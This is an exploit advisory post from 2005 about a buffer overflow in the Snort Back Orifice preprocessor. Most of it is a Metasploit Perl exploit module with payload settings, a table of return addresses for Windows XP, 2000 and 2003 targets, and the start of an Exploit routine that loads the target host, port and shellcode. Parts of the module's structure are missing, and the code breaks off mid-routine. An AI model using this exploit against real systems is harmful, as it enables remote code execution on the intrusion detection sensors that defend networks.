Snort Back Orifice Preprocessor Buffer Overflow (Exploit #2)
2 Nov. 2005
Summary
Snort is a widely-deployed, open-source network intrusion detection system (IDS). Snort preprocessors are modular plugins that extend functionality by operating on packets before the detection engine is run.
The Snort Back Orifice preprocessor contains a buffer overflow that could allow a remote attacker to execute arbitrary code on a vulnerable system.
Exploit:
################################
# for educational purpose only
# by Kira < trir00t [at] gmail.com >
################################
package Msf::Exploit::snort_bo_overflow_win32;
use base 'Msf::Exploit';
use strict;
use Pex::Text;
'Payload' => {
'Space' => 1024, # you can use more spaces
'BadChars' => "\x00",
},
'Description' => Pex::Text::Freeform(qq{
This exploits the buffer overflow in Snort version
2.4.0 to 2.4.2. This particular module is capable of
exploiting the bug on x86 Win32, Win2000, WinXP and Win2003.
Exploitation in this vulnerability is depend on many factors.
Difference in GCC version, compiled option and
operating system made diffent technique in exploitation.
}),
["Snort 2.4.2 Binary on Windows XP Professional SP1", 0x77da54d4,
(18+1024+1028+1024)],
["Snort 2.4.2 Binary on Windows XP Professional SP2", 0x77daacdb,
(18+1024+1028+1024)],
["Snort 2.4.2 Binary on Windows Server 2003 SP1", 0x7d065177,
(18+1024+1028+1024)],
["Snort 2.4.2 Binary on Windows Server 2000 SP0", 0x77e33f69,
(18+1024+1028+1024)],
["Snort 2.4.2 Binary on Windows 2000 Professional SP0", 0x7850cdef,
(18+1024+1028+1024)],
],
'Keys' => ['Snort'],
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return ($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
if(! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the NOP module.");
return;
}
